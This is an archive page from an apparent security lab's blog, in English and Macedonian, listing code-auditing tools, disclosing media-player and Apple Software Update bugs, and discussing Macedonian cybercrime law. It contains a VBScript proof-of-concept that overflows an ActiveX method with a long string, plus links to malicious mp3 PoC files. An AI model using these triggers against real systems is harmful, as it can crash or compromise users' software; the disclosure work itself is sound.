Archive for March, 2010

List of Source Code Auditing Tools

Name - [ language/s supported ] – web link:

.TEST – [ C#, VB.NET, MC++ ] – http://www.parasoft.com/jsp/products.jsp
ASTRÉE
– [ C ] – http://www.astree.ens.fr
Bandera – [ Java ] – http://bandera.projects.cis.ksu.edu/
BLAST – [ C ] – http://mtc.epfl.ch/software-tools/blast/
BOON
– [ C ] – http://www.cs.berkeley.edu/~daw/boon/
C Code Analyzer (CCA)
– [ C ] – http://www.drugphish.ch/~jonny/cca.html
C++test – [ C++ ] – http://www.parasoft.com/jsp/products.jsp
CCMetrics – [ C#, VB.NET ] – http://www.serviceframework.com/jwss/utility,ccmetrics,utility.aspx
Checkstyle
– [ Java ] – http://checkstyle.sourceforge.net/
CodeCenter
– [ C ] – http://www.ics.com/products/centerline/codecenter/features.html
CodeScan
– [ .ASP, PHP ] – http://www.codescan.com/
CodeSecure – [ PHP, Java ] – http://www.armorize.com/corpweb/en/products/codesecure
CodeSonar
– [ C, C++ ] – http://www.grammatech.com/products/codesonar/overview.html
CQual – [ C ] – http://www.cs.umd.edu/~jfoster/cqual
Csur – [ C ] – http://www.lsv.ens-cachan.fr/csur/
Dehydra – [ C++ ] – http://wiki.mozilla.org/Dehydra_GCC
DevInspect
– [ C#, Visual Basic, JavaScript, VB Script] – http://www.spidynamics.com/products/devinspect/
DevPartner SecurityChecker
– [ C#, Visual Basic ] – http://www.compuware.com/products/devpartner/securitychecker.htm
DoubleCheck – [ C, C++ ] – http://www.ghs.com/products/doublecheck.html
FindBugs
– [ Java ] – http://findbugs.sourceforge.net/
FlawFinder – [ C, C++ ] – http://www.dwheeler.com/flawfinder/
Fluid
– [ Java ] – http://www.fluid.cs.cmu.edu/
Frama-C
– [ C ] – http://frama-c.cea.fr/
ftnchek
– [ FORTRAN ] – http://www.dsm.fordham.edu/~ftnchek/
FxCop
– [ .NET ] – http://code.msdn.microsoft.com/codeanalysis
g95-xml
– [ FORTRAN ] – http://g95-xml.sourceforge.net/
ITS4
– [ C, C++ ] – http://www.cigital.com/its4/
Jlint
– [ Java ] – http://artho.com/jlint/
JsLint
– [ JavaScript ] – http://www.jslint.com/
Jtest
– [ Java ] – http://www.parasoft.com/jsp/products.jsp
KlocWork / K7
– [ C, C++, Java ] – http://www.klocwork.com/products/k7_security.asp
LAPSE
– [ Java ] – http://www.owasp.org/index.php/Category:OWASP_LAPSE_Project
MOPS
– [ C ] – http://www.cs.berkeley.edu/~daw/mops/
MSSCASI
– [ ASP ] – http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&displaylang=en
MZTools
– [ VB6, VBA ] – http://www.mztools.com/index.aspx/
Oink
– [ C++ ] – http://www.cubewano.org/oink
Ounce
– [ C, C++, Java, JSP, ASP.NET, VB.NET, C# ] – http://www.ouncelabs.com/accurate-complete-results.html
Perl-Critic
– [ Perl ] – http://search.cpan.org/dist/Perl-Critic/
PLSQLScanner 2008
– [ PLSQL ] – http://www.red-database-security.com/software/plsqlscanner.html
PHP-Sat
– [ PHP ] – http://www.program-transformation.org/PHP/PhpSat
Pixy
– [ PHP ] –
http://pixybox.seclab.tuwien.ac.at/pixy/index.php
PMD
– [ Java ] – http://pmd.sourceforge.net/
PolySpace
– [ Ada, C, C++ ] – http://www.polyspace.com/products.htm
PREfix & PREfast
– [ C, C++ ] – http://support.microsoft.com/vst
Prevent
– [ C, C++ ] – http://www.coverity.com/html/coverity-software-quality-products.html
PyChecker
– [ Python ] – http://pychecker.sourceforge.net/
pylint
– [ Python ] – http://www.logilab.org/project/pylint
QA-C, QA-C++, QA-J
– [ C, C++, Java, FORTRAN ] – http://www.programmingresearch.com/PRODUCTS.html
QualityChecker
– [ Visual Basic 6 ] – http://d.cr.free.fr/
RATS
– [ C, C++, Perl, PHP, Python ] – http://www.fortify.com/security-resources/rats.jsp
RSM
– [ C, C++, C#, Java ] – http://msquaredtechnologies.com/m2rsm/
Smatch
– [ C ] – http://smatch.sourceforge.net/
SCA
– [ ASP.NET, C, C++, C#, Java, JSP, PL/SQL, T-SQL, VB.NET, XML ] – http://www.fortifysoftware.com/products/sca/
Skavenger
– [ PHP ] – http://code.google.com/p/skavenger/
smarty-lint
– [ PHP ] – http://code.google.com/p/smarty-lint/
soot – [ Java ] – http://www.sable.mcgill.ca/soot/
Source Monitor
– [ C#, VB.NET ] – http://www.campwoodsw.com/sm20.html
SPARK
– [ Ada ] – http://www.praxis-his.com/sparkada/spark.asp
Spike PHP Security Audit Tool
– [ PHP ] – http://developer.spikesource.com/projects/phpsecaudit/
Splint
– [ C ] – http://www.splint.org/
SWAAT
– [ PHP, ASP.NET, JSP, Java ] – http://www.owasp.org/index.php/Category:OWASP_SWAAT_Project
UNO
– [ C ] – http://spinroot.com/uno/
vil
– [ C#, VB.NET ] – http://www.1bot.com/
Viva64
– [ C++ ] – http://www.viva64.com/
xg++
– [ C ] – http://www.stanford.edu/~engler/mc-osdi.pdf
YTKScan Java
– [ Java ] – http://www.cam.org/~droujav/y2k/Y2KScan.html

На прагот на Apple.com

Извршивме мала анализа на две три апликации на Apple и најдовме некое мало “багче” во апликацијата Apple Software Update за Windows платформа, поточно во SoftwareUpdateAdmin.dll библиотеката.

Ништо страшно но сепак контакиравме со Apple Product Security Team (http://www.apple.com/support/security/) со детални информации, и како што се надевавме, ни одговорија веднаш изјавувајќи дека не се работи за ништо сериозно што би влијаело директно врз безбедноста на системот.

Со помош на COMRaider алатката, изработена од iDefense, за скенирање на COM објекти (ActiveX, OCX) и нивно … fuzzing, беше најден исклучок (exception) VC_THROW_SEH…


Exception Code: VC_THROW_SEH
Disasm: 7C812AEB POP ESI (KERNEL32.dll)


Seh Chain:
--------------------------------------------------
1 10020105 SoftwareUpdateAdmin.DLL
2 1001FFE6 SoftwareUpdateAdmin.DLL
3 73352526 VBSCRIPT.dll
4 7C839AC0 KERNEL32.dll


Called From Returns To
--------------------------------------------------
KERNEL32.7C812AEB SoftwareUpdateAdmin.1000B7AA
SoftwareUpdateAdmin.1000B7AA SoftwareUpdateAdmin.10009345
SoftwareUpdateAdmin.10009345 SoftwareUpdateAdmin.100082FF


Registers:
--------------------------------------------------
EIP 7C812AEB -> E06D7363 -> Asc: csmcsm
EAX 0013E7C8 -> E06D7363 -> Asc: csmcsm
EBX 00000000
ECX 00000000
EDX 00000000
EDI 00000000
ESI 0013E850 -> 0013E8D4
EBP 0013E818 -> 0013E850
ESP 0013E7C4 -> 00F83E2C -> Asc: ,>,>


Block Disassembly:
--------------------------------------------------
7C812ADB LEA EDI,[EBP-3C]
7C812ADE REP MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]
7C812AE0 POP EDI
7C812AE1 LEA EAX,[EBP-50]
7C812AE4 PUSH EAX
7C812AE5 CALL [7C801510]
7C812AEB POP ESI <--- CRASH
7C812AEC LEAVE 7C812AED RETN 10
7C812AF0 TEST EDI,EDI
7C812AF2 JLE 7C80BE2E
7C812AF8 MOV EDX,[EBP-4]
7C812AFB MOV [EBP+C],EDX
7C812AFE MOVZX EDX,WORD PTR [ESI]
7C812B01 MOV EDI,[EBP-8]


ArgDump:
--------------------------------------------------
EBP+8 E06D7363
EBP+12 00000001
EBP+16 00000003
EBP+20 0013E844 -> 19930520
EBP+24 E06D7363
EBP+28 00000001



Stack Dump:
--------------------------------------------------
13E7C4 2C 3E F8 00 63 73 6D E0 01 00 00 00 00 00 00 00 [....csm.........]
13E7D4 EB 2A 81 7C 03 00 00 00 20 05 93 19 AC E8 13 00 [................]
13E7E4 E8 7C 02 10 F0 C3 4E 77 28 E8 13 00 CD F7 52 77 [......Nw......Rw]
13E7F4 80 91 18 00 00 00 00 00 5C 1A 4E 77 20 E8 13 00 [........\.Nw....]
13E804 AA 88 51 77 78 91 18 00 00 00 00 00 C0 E8 13 00 [..Qw............]


CompanyName Apple Inc.
FileDescription Apple Software Update
FileVersion 2.1.1.116
InternalName SoftwareUpdateAdmin.dll
LegalCopyright (c) 2006-2008 Apple Inc. All rights reserved.
OriginalFileName SoftwareUpdateAdmin.dll
ProductName Apple Software Update
ProductVersion 2.1.1.116


Report for Clsid: {BB46F03E-7CD2-489F-8F95-BB950F395FDB}
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: False


----------------------poc----------------------


<object classid='clsid:BB46F03E-7CD2-489F-8F95-BB950F395FDB' id='target' />
<script language='vbscript'>


targetFile = "C:\Program Files\Apple Software Update\SoftwareUpdateAdmin.dll"
prototype  = "Sub CreateTaskWithTrigger2 ( ByVal taskPath As String ,  ByVal launchParameters As String ,  ByVal frequency As Long )"
memberName = "CreateTaskWithTrigger2"
progid     = "SoftwareUpdateAdminLib.ASUTaskScheduler"
argCount   = 3


arg1=String(12308, "A")
arg2="defaultV"
arg3=1

target.CreateTaskWithTrigger2 arg1 ,arg2 ,arg3
</script>

----------------------poc----------------------


Discovered on: 15.03.2010

;)

Microsoft’s 10 Immutable Laws of Security

Law #1: If a bad guy can persuade you to run his program on your computer, it’s not your computer anymore

Law #2: If a bad guy can alter the operating system on your computer, it’s not your computer anymore

Law #3: If a bad guy has unrestricted physical access to your computer, it’s not your computer anymore

Law #4: If you allow a bad guy to upload programs to your website, it’s not your website any more

Law #5: Weak passwords trump strong security

Law #6: A computer is only as secure as the administrator is trustworthy

Law #7: Encrypted data is only as secure as the decryption key

Law #8: An out of date virus scanner is only marginally better than no virus scanner at all

Law #9: Absolute anonymity isn’t practical, in real life or on the Web

Law #10: Technology is not a panacea

Details: http://technet.microsoft.com/en-us/library/cc722487.aspx

Machinarium

Интересна покажи-и-кликни игра изработена од страна на Amanita Design од Чешка. Machinarium е игра од авантуристичен карактер кој избилува со решавање на загатки и логички проблеми со која се стимулира вашиот мозок ;)

Нормално и ние се играме кога имаме време па така си зедовме за дозвола да ја постираме на блогот.

Затоа ви препорачуваме во слободно време да ја проверите играва.

BS.Player v2.51 build 1022 (Media Library) Remote Buffer Overflow Vulnerability

Ever since the very beginning in the year 2000, the BS.Player™ has been one of the world’s most popular video players. It is popular for many reasons. One however should be pointed out: BS.Player™ is the first software movie player ever to enable its users to focus on watching the movie instead of dealing with poor computer capabilities or running around looking for a proper setting and codec. Also, it has very low CPU and RAM requirements.

BS.Player and its feature Media Library is prone to a buffer overflow vulnerability because it fails to adequatly sanitize boundry check when processing mp3 file and its metadata. When you load the evil .mp3 file in the Media Library > Audio launched from bsplayer the application crashes instantly giving us info that ECX and EIP got overwritten enabling the attacker to gain full access to the application’s memory and execute arbitrary code.

Version tested: 2.41 build 1003 and 2.51 build 1022

PoC:

http://zeroscience.mk/codes/aimp2_evil.mp3

[mirror] http://milw0rm.com/sploits/2009-aimp2_evil.mp3
[mirror] http://securityreason.com/download/11/13

More INFO: http://zeroscience.mk/mk/vulnerabilities/ZSL-2010-4932.php

VLC media player 1.0.5 Goldeneye (bookmarks) Remote Buffer Overflow PoC

VLC media player is a highly portable multimedia player and multimedia framework capable of reading most audio and video formats (MPEG-2, MPEG-4, H.264, DivX, MPEG-1, mp3, ogg, aac …) as well as DVDs, Audio CDs VCDs, and various streaming protocols.

VLC media player is vulnerable to a buffer overflow attack when processing .mp3 file and its metadata. It fails to perform boundry checks when creating a bookmark from the malicious media file playing, resulting in a crash, overwriting ECX register.

While the evil .mp3 is playing, you go Playback > Bookmarks > Manage bookmarks > Create.

More info: http://zeroscience.mk/mk/vulnerabilities/ZSL-2010-4931.php

J. River Media Jukebox 12 MP3 File Handling Remote Heap Overflow PoC

Media Jukebox 12 is a media player application for playing various media files on a Windows machine.

Desc: Media Jukebox 12 suffers from a heap overflow vulnerability when processing .mp3 files and its metadata (ID3 tags). When a malicious .mp3 file is played the application pops out an error message and crashes. The ECX register gets overwritten allowing the attacker the possibility of system access remotely or localy.

More Info: http://zeroscience.mk/mk/vulnerabilities/ZSL-2010-4930.php

Deimos Kasa <= 2.58 (table) Local Integer Overflow Vulnerability

More info: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2010-4929.php

Cyberlaw vs Cybercrime in Macedonia

Македонскиот правен систем разликува 5 типови/видови на криминални дела во полето на компјутерски криминал што во некои случаи можат да се користат за терористички цели. Целта на овие криминални дела е да се заштити безбедноста на компјутерски податоци, односно, на ИТ системите. Тие се:

1. Спречување на пристап до јавен систем за информации – Член 149-а
2. Оштетување и неовластено влегување во компјутерски систем – Член 251
3. Развивање и испраќање на компјутерски вируси – Член 251-а
4. Компјутерска измама – Член 251-б
5. Компјутерски фалсификат – Член 379-а

За жал во Македонија не постојат такви органи (барем активно или видливо) за справување со компјутерски инциденти и итни случаи. Многу одамна беше предложено на нашата влада да се развие CERT/CIRT тим во Македонија, но ништо од тоа. Компјутерскиот криминал во Македонија Е доста застапен и датира уште пред 10-15 години.

Како и да е, доколку сакате да пријавите компјутерски инцидент ќе треба да одите во Скопје во Министерство за Внатрешни Работи во оделот за сајбер криминал и аналитика што претставува процес од 200 години.

Најдоброто решение беше предложено на една конференција во собранието на РМ, кога беше поставено прашање дали таков тим да биде развиен од страна на владата или од страна на академските институции. Одговорот беше ниедно од наведените. Најдобро, како и во повеќето држави во светот кои располагаат со CERT тим, е тимот да биде развиен во приватен сектор во соработка со владата и едукативните центри.

Идејата беше да се развие безбедносен веб портал на кој ќе можат луѓето да пријавуваат инциденти и напади преку енкриптирана форма со пополнување на опис и информации за случајот со само едно притискање на копчето Испрати, за потоа тимот да изврши форензички анализи и извештаи кои ќе ги проследува до надлежните органи на интернационално ниво.

Затоа постои и таква соработка меѓу CERT/CIRT тимови ширум светот. Пр. сценарио:

– Напаѓач од Аргентина навлегува во компјутерските системи на некоја организација во Македонија.
– Организацијата во Македонија пријавува инцидент на македонскиот CERT тим.
– Македонскиот CERT тим извршува анализа и од извештајот заклучува дека нападот доаѓа од Аргентина.
– Македонскиот тим ги испраќа резултатите од анализата кон аргентинскиот CERT тим…или евентуално Интерпол.

Да имаше македонски CERT или тим за справување со компјутерски итни случаи или инциденти, тогаш тимот би контактирал со аргентинскиот тим и од тука, аргентинскиот тим извршува анализа и соработува со интернет провајдерите (пред тоа треба да се склучи договор за приватност или да се воведе закон, во случај на вакви инциденти, провајдерите ги приложуваат IP адресите на напаѓачот при барање од страна на тимот или надлежен орган…whateva) за лоцирање на напаѓачот и пријавување во The Police да извршат рација и потоа аналитика, тужба, докази, затвор и т.д.

“Сајтот на македонскиот претседател е хакиран од страна на?”

Малку забегавме но, ете, колку да имате претстава каква е ситуацијата во МК и какви закони имаме во нашава држава.

Подетално можете да погледнете:

http://www.coe.int/t/e/legal_affairs/legal_co-operation/fight_against_terrorism/4_Theme_Files/The%20former%20Yugoslav%20Republic%20of%20Macedonia.pdf

или со Google Translate на МК

и

http://www.slvesnik.com.mk/?ItemID=D8C94B5FE87249408FFBC368F8952B4A

http://www.moi.gov.mk
“Секој упад и злоупотреба на интернет страницата на МВР е казнив по членовите 251 и 251a од КЗ на Република Македонија.”

Поздрав
Zero Science Lab CIRT Team&#0153